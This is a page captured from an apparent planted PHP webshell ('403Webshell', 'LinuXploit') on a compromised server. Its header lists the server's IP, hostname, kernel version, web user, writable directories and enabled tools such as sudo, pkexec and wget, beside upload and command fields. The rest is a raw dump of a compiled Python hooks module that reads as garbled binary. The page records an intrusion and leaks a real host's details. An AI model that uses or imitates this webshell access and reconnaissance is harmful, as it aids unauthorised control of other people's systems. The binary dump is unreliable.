403Webshell
Server IP : 172.24.0.40  /  Your IP : 216.73.216.10
Web Server : Apache
System : Linux dbweb26.ust.edu.ph 4.18.0-513.5.1.el8_9.x86_64 #1 SMP Fri Sep 29 05:21:10 EDT 2023 x86_64
User : apache ( 48)
PHP Version : 8.2.18
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/self/root/lib/python3.6/site-packages/tracer/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/root/lib/python3.6/site-packages/tracer/__pycache__/hooks.cpython-36.pyc
3

�|
` �@sDddlZddlZddlmZiZGdd�de�Zdd�Zdd�ZdS)	�N)�
HOOKS_DIRSc@s eZdZdZdd�Zdd�ZdS)�
HooksObserverz�
	Provides interface for calling user hooks

	When initializing, loads all hooks located in HOOKS_DIRS. Then it can called
	with application name as argument. Observer ensures calling all hooks defined for the application.
	cCs
t�dS)N)�_register_hooks)�self�r�/usr/lib/python3.6/hooks.py�__init__!szHooksObserver.__init__cCs"|tkrdSdd�t|D�dS)NcSsg|]
}|��qSrr)�.0�frrr�
<listcomp>(sz*HooksObserver.__call__.<locals>.<listcomp>)�_hooks)r�apprrr�__call__$szHooksObserver.__call__N)�__name__�
__module__�__qualname__�__doc__rrrrrrrsrcs�fdd�}|S)a
	Decorator for tracer hooks.

	Example::

		from tracer import hooks

		@hooks.match("foo")
		def hook_app():
		    print("Hey, application foo was found")

	.. note::
		You can match multiple applications by calling ``@hooks.match`` with list of them.

	csBx<t��tkr�n�gD]"}|tkr,gt|<t|j|�qW|S)N)�type�listr�append)r
r
)�appsrr�	decorator;s
zmatch.<locals>.decoratorr)rrr)rr�match+srcCs|xvtD]n}xhtj|�D]Z\}}}xN|D]F}tjj|�d}ytj|tjj||��}Wq&tk
rjw&Yq&Xq&WqWqWdS)Nr)	r�os�walk�path�splitext�impZload_source�join�	Exception)Zhook_dir�root�dirs�filesZfname�modname�modulerrrrDs

r)	rrZtracer.pathsrr�objectrrrrrrr�<module>s

Youez - 2016 - github.com/yon3zu
LinuXploit